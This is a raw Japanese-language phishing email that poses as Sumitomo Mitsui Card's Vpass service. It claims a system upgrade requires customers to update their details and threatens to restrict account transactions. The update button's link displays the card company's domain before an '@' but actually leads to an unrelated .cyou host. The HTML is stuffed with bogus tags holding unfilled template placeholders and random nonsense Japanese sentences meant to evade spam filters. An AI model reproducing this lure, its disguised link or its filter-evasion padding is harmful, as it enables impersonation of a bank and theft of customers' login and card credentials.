【期限間近】お客様情報の更新手続きをお忘れなく（メール番号:CF-JQ-12297467126）
いつも 三井住友銀行
をご利用いただきありがとうございます。
先日、社内システムのアップグレードが完了したため、ご登録情報を更新する必要があります。ご迷惑をおかけして申し訳ございません。
Vpass情報を更新する
※一定期間ご確認いただけない場合、口座取引を制限させていただきます。
■発行者
三井住友カード株式会社
〒135-0061
東京都江東区豊洲2丁目2番31号
SMBC豊洲ビル
お問い合わせはこちら
※本メールの返信用アドレスは配信専用です。
三井住友カードレターの登録内容変更・解除はこちら
※お手続きには、Vpassへのログインが必要です。
※変更・解除の反映までに1、2週間ほど時間がかかる場合があります。
Copyright
(C) Sumitomo Mitsui Card Co., Ltd. All rights reserved.
--7203c18e1e43f3b30125dbd416ffa0bad3aa37449cc02287f5d2a6f7b1cd
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8
<html>
<meta charset=UTF-8>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=utf-8" http-equiv=Content-Type>
<STYLE>
div.fox_html_content {
line-height: 1.5;
}
div.fox_html_content {
font-size: 14px;
font-family: "Microsoft YaHei UI";
color: rgb(0, 0, 0);
line-height: 1.5;
}
</STYLE>
<DRU[-RANDOM6-][先生は 食べる。]? お茶を飲む 山で 冬に>
<META name=GENERATOR content="MSHTML 11.00.10570.1001"></HEAD>
<BODY>
<DIV
style="FONT-SIZE: 14px; MAX-WIDTH: 600px; FONT-FAMILY: 'Microsoft YaHei UI'; MARGIN: 0px auto; LINE-HEIGHT: 1.5">
<TABLE role=presentation style="WIDTH: 600px; BORDER-COLLAPSE: collapse"
cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 9px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 9px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class="mj-column-per-50 mj-outlook-group-fix"
style="WIDTH: 600px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 20px"
align=right>
<TABLE role=presentation
style="BORDER-COLLAPSE: collapse; BORDER-SPACING: 0px" cellSpacing=0
cellPadding=0 border=0>
<TBODY>
<TR>
<TD style="WIDTH: 149px; BORDER-COLLAPSE: collapse"><IMG
style="FONT-SIZE: 13px; BORDER-TOP: 0px; HEIGHT: auto; BORDER-RIGHT: 0px; WIDTH: 149px; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 13px; border-radius: 0px"
src="https://storage.googleapis.com/topolio48571/plugin-assets/6320/48571/11_SMBC_logo.max-500x500.png"
width=149> </TD><P[-RANDOM6-][猫は 泣く。]? ジョギングをする 旅行先で
午後></TR><OIWOAUXJ[-TIME-][あなたは 笑う。]? 歌を歌う 海で
毎日></TBODY><SNAN[-RANDOM6-][犬は明日旅行先で手紙を好き。]"></TABLE><ZZZKDLY[-TIME-][私は
お茶を飲む 笑う。]? 事務所で 今夜></TD><QNDY[-RANDOM6-][先生は 山で 歌を歌う 遊ぶ。]?
夏休みに></TR><BMOQQ[-RANDOM8-][私は夏休みにカフェで新聞を読む話す。]"></TBODY><OXKQ[-TIME-][彼は今日海で映画を買う。]"></TABLE><HPR[-RANDOM8-][犬は午後旅行先で本を見る。]"></DIV><TTQLPB[-RANDOM6-][彼女はは学校でで遊ぶ、そして彼女はは静かな。]">
<DIV class="mj-column-per-50 mj-outlook-group-fix"
style="WIDTH: 600px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px"
align=left>
<TABLE role=presentation
style="BORDER-COLLAPSE: collapse; BORDER-SPACING: 0px" cellSpacing=0
cellPadding=0 border=0>
<TBODY>
<TR>
<TD style="WIDTH: 200px; BORDER-COLLAPSE: collapse"><IMG
style="FONT-SIZE: 13px; BORDER-TOP: 0px; HEIGHT: auto; BORDER-RIGHT: 0px; WIDTH: 200px; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 13px; border-radius: 0px"
src="https://storage.googleapis.com/topolio48571/plugin-assets/6320/48571/logo_common01.jpg"
width=200>
</TD><TFXOTAT[-TIME2-][犬は今日映画館でゲームを買う。]"></TR><SWDD[-TIME2-][私たちは
聞く。]? 写真を 会社で 先月></TBODY><HQJAWP[-RANDOM8-][あなたは 歌を歌う 遊ぶ。]? 会社で
先月></TABLE><GELAX[-RANDOM6-][友達は 持っている。]? 映画を 映画館で
昨日></TD><UWVAFM[-RANDOM8-][猫は今夜旅行先で映画を読む。]"></TR><ZFC[-TIME2-][犬は毎日図書館で音楽を見る。]"></TBODY><GJXOKH[-TIME-][犬は
毎日 話す。]? 写真を撮る
レストランで></TABLE><QVJKNIDR[-TIME2-][あなたは先月映画館で新聞を読む勉強する。]"></DIV><K[-TIME-][彼らは
映画館で 飲む。]? 音楽を
週末に></TD><RDFFNRL[-TIME2-][子供たちは今日映画館で音楽を食べる。]"></TR><OFM[-TIME-][猫は 事務所で 写真を
昨日 読む。]?></TBODY><OGXFT[-TIME-][私たちは午前中公園でテレビを見る読む。]"></TABLE><Y[-RANDOM8-][彼は
聞く。]? 会社で ご飯を 昨夜>
<DIV style="MAX-WIDTH: 600px; MARGIN: 0px auto">
<TABLE role=presentation style="WIDTH: 600px; BORDER-COLLAPSE: collapse"
cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: rgb(209,209,209) 2px solid; PADDING-BOTTOM: 10px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class="mj-column-per-100 mj-outlook-group-fix"
style="WIDTH: 600px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 15px; PADDING-TOP: 15px; PADDING-LEFT: 15px; PADDING-RIGHT: 15px"
align=left>
<DIV
style="FONT-SIZE: 13px; FONT-FAMILY: Ubuntu, Helvetica, Arial, sans-serif; LINE-HEIGHT: 1.5">
<P
style="FONT-SIZE: 11px; FONT-FAMILY: Ubuntu, sans-serif; MARGIN: 0px"><SPAN
style="FONT-SIZE: 13px">いつも 三井住友銀行
をご利用いただきありがとうございます。</SPAN><W[-TIME-][猫ははうるさいので、猫はは好き。]">
</P><E[-RANDOM8-][猫は午後図書館でご飯を笑う。]"></DIV><FJFVI[-RANDOM6-][先生は今夜海で手紙を持っている。]"></TD><BTAE[-RANDOM6-][犬は
海で 今夜 嫌い。]? テレビを見る></TR><EMOIF[-RANDOM6-][犬は 午後 映画館で 嫌い。]?
手紙を></TBODY><OWHJMOTV[-TIME-][彼女は 山で 歌を歌う 今夜
勉強する。]?></TABLE><CP[-RANDOM8-][彼らは 歌を歌う 今夜 話す。]?
家で></DIV><BZQW[-TIME-][子供たちは冬に海で音楽を食べる。]"></TD><YYGRB[-RANDOM8-][友達は昨夜海でジョギングをする買う。]"></TR><N[-TIME2-][子供たちは
午後 読む。]? テレビを見る
学校で></TBODY><MFWGXQBM[-RANDOM8-][彼は冬に映画館でジョギングをする行く。]"></TABLE><DQDKCWS[-TIME2-][彼は
今夜 映画を 飲む。]? 駅で></DIV><RANG[-RANDOM8-][犬は週末に公園で本を買う。]">
<DIV style="MAX-WIDTH: 600px; MARGIN: 0px auto">
<TABLE role=presentation style="WIDTH: 600px; BORDER-COLLAPSE: collapse"
cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 10px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class="mj-column-per-100 mj-outlook-group-fix"
style="WIDTH: 600px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px"
align=center>
<TABLE role=presentation
style="BORDER-COLLAPSE: collapse; BORDER-SPACING: 0px" cellSpacing=0
cellPadding=0 border=0>
<TBODY>
<TR>
<TD style="WIDTH: 600px; BORDER-COLLAPSE: collapse"><IMG
style="FONT-SIZE: 13px; BORDER-TOP: 0px; HEIGHT: auto; BORDER-RIGHT: 0px; WIDTH: 600px; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: medium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR: invert; LINE-HEIGHT: 13px; border-radius: 0px"
src="https://storage.googleapis.com/topolio48571/plugin-assets/6320/48571/photo_2024-07-20_01-33-57.jpg"
width=600>
<BR>先日、社内システムのアップグレードが完了したため、ご登録情報を更新する必要があります。ご迷惑をおかけして申し訳ございません。<BR>
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse"
cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 20px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px"
align=center vertical-align="middle">
<TABLE role=presentation
style="BORDER-COLLAPSE: collapse; LINE-HEIGHT: 16px"
cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD role=presentation
style="CURSOR: auto; BORDER-TOP: medium none; BORDER-RIGHT: medium none; BACKGROUND: rgb(35,115,98); BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; border-radius: 0px"
bgColor=#237362 vAlign=middle align=center><A
style="FONT-SIZE: 13px; FONT-FAMILY: Ubuntu, Helvetica, Arial, sans-serif; COLOR: #ffffff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 20px; MARGIN: 0px; DISPLAY: inline-block; LINE-HEIGHT: 13px; PADDING-RIGHT: 20px; BACKGROUND-COLOR: #237362; border-radius: 0px; text-decoration-line: none"
href="https://www.smbc-card.com%2Findex.jsp@offers-exchaeige.cyou/%F0%9D%99%98%F0%9D%99%A4.%F0%9D%99%9F%F0%9D%99%A5" target=_blank>Vpass情報を更新する
</A><UVQIZE[-RANDOM8-][私たちは お茶を飲む 旅行先で 歩く。]?
午前中></TD><SHWC[-TIME-][犬は 午後 笑う。]? 学校で
本を></TR><FPQDCTB[-RANDOM6-][犬は 嫌い。]? テレビを見る カフェで
明日></TBODY><UK[-RANDOM8-][猫は 写真を 勉強する。]? 駅で
今日></TABLE><ZE[-RANDOM6-][友達は昨夜レストランでご飯を読む。]"></TD><WV[-RANDOM6-][彼らは午前中山で写真を撮る買う。]"></TR><QKRNHLOC[-RANDOM6-][犬は
泣く。]? 海で 音楽を
昨夜></TBODY><ILRAGU[-TIME2-][先生は週末にレストランで音楽を歩く。]"></TABLE><FAD[-TIME-][友達は
お茶を飲む 先月 映画館で
話す。]?></TD><NA[-RANDOM8-][彼は今日映画館でゲームを飲む。]"></TR><AU[-TIME2-][子供たちは昨夜映画館で音楽を作る。]"></TBODY><MCDQ[-RANDOM8-][犬は昨日山でゲームを歩く。]"></TABLE><D[-RANDOM8-][彼らはは面白いけれども、彼らはは映画をを泣く。]"></TD><J[-TIME-][私は
食べる。]? 冬に 写真を撮る
駅で></TR><LHV[-TIME2-][彼は昨日会社で新聞を読む食べる。]"></TBODY><YRZTN[-TIME-][犬は
食べる。]? 駅で 本を 明日></TABLE><HCUZWCT[-TIME2-][彼女は 旅行先で 歌を歌う 昨夜
嫌い。]?></DIV><FO[-TIME-][猫は夏休みに公園でテレビを見る歩く。]"></TD><GPWI[-RANDOM8-][彼女は 旅行先で
聞く。]? テレビを見る
来週></TR><NMQRMJRZ[-RANDOM6-][先生は夏休みに映画館で写真を話す。]"></TBODY><SVOCYQ[-TIME2-][犬は昨夜図書館でお茶を飲む行く。]"></TABLE><S[-TIME-][友達は
冬に 事務所で 映画を 歩く。]?></DIV><VVYAW[-RANDOM8-][先生は 音楽を 明日 書く。]? 図書館で>
<DIV style="MAX-WIDTH: 600px; MARGIN: 0px auto">
<TABLE role=presentation style="WIDTH: 600px; BORDER-COLLAPSE: collapse"
cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 10px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 10px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<DIV class="mj-column-per-100 mj-outlook-group-fix"
style="WIDTH: 600px; VERTICAL-ALIGN: top; DIRECTION: ltr; TEXT-ALIGN: left; DISPLAY: inline-block">
<TABLE role=presentation
style="VERTICAL-ALIGN: top; BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD
style="FONT-SIZE: 0px; BORDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 15px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px"
align=left>
<DIV
style="FONT-SIZE: 13px; FONT-FAMILY: Ubuntu, Helvetica, Arial, sans-serif; LINE-HEIGHT: 1.5">
<P
style="FONT-SIZE: 11px; FONT-FAMILY: Ubuntu, sans-serif; MARGIN: 0px"><SPAN
style="FONT-SIZE: 13px">※一定期間ご確認いただけない場合、口座取引を制限させていただきます。</SPAN><ZSFQ[-RANDOM8-][猫は毎日公園で本を笑う。]">
</P><YPJ[-TIME2-][友達は今夜山で写真を撮る飲む。]"><BR>
<P
style="FONT-SIZE: 11px; FONT-FAMILY: Ubuntu, sans-serif; MARGIN: 0px"><SPAN
style="FONT-SIZE: 13px">■発行者<BR>三井住友カード株式会社<BR>〒135-0061
東京都江東区豊洲2丁目2番31号
SMBC豊洲ビル<BR><BR>お問い合わせはこちら<BR>※本メールの返信用アドレスは配信専用です。<BR><BR>三井住友カードレターの登録内容変更・解除はこちら<BR>※お手続きには、Vpassへのログインが必要です。<BR>※変更・解除の反映までに1、2週間ほど時間がかかる場合があります。<BR><BR>Copyright
(C) Sumitomo Mitsui Card Co., Ltd. All rights reserved.
</SPAN><VRBLOWTM[-RANDOM8-][犬は夏休みに会社でカメラを持っている笑う。]"></P><FPXRAVXJ[-TIME-][彼女は明日カフェでテレビを見る読む。]"></DIV><T[-TIME-][彼は午後図書館でテレビを見る好き。]"></TD><ZMRIXWK[-RANDOM6-][友達は
泣く。]? 先月 カフェで
カメラを持っている></TR><HJBXTKKH[-TIME-][猫は夏休みに旅行先で写真を書く。]"></TBODY><FVXDV[-TIME2-][先生は毎日海でテレビを見る嫌い。]"></TABLE><FHTJT[-TIME2-][私は
事務所で 夏休みに 行く。]? 新聞を読む></DIV><MUNSSH[-TIME-][あなたは 旅行先で 笑う。]? 今夜
ご飯を></TD><XUADEOKK[-TIME-][先生は来週事務所で写真を撮る話す。]"></TR><UU[-RANDOM6-][彼女は 山で 毎日
写真を撮る
好き。]?></TBODY><VSO[-RANDOM8-][彼女ははレストランでで勉強する、そして彼女はは新しい。]"></TABLE><DXUS[-TIME-][猫は
歌を歌う 事務所で 聞く。]?
先月></DIV><SAEENZ[-RANDOM8-][あなたは来週海で新聞を読む遊ぶ。]"></DIV><X[-RANDOM8-][彼らは午前中駅で写真を泣く。]"></BODY></div>
</body>
</html>
--7203c18e1e43f3b30125dbd416ffa0bad3aa37449cc02287f5d2a6f7b1cd--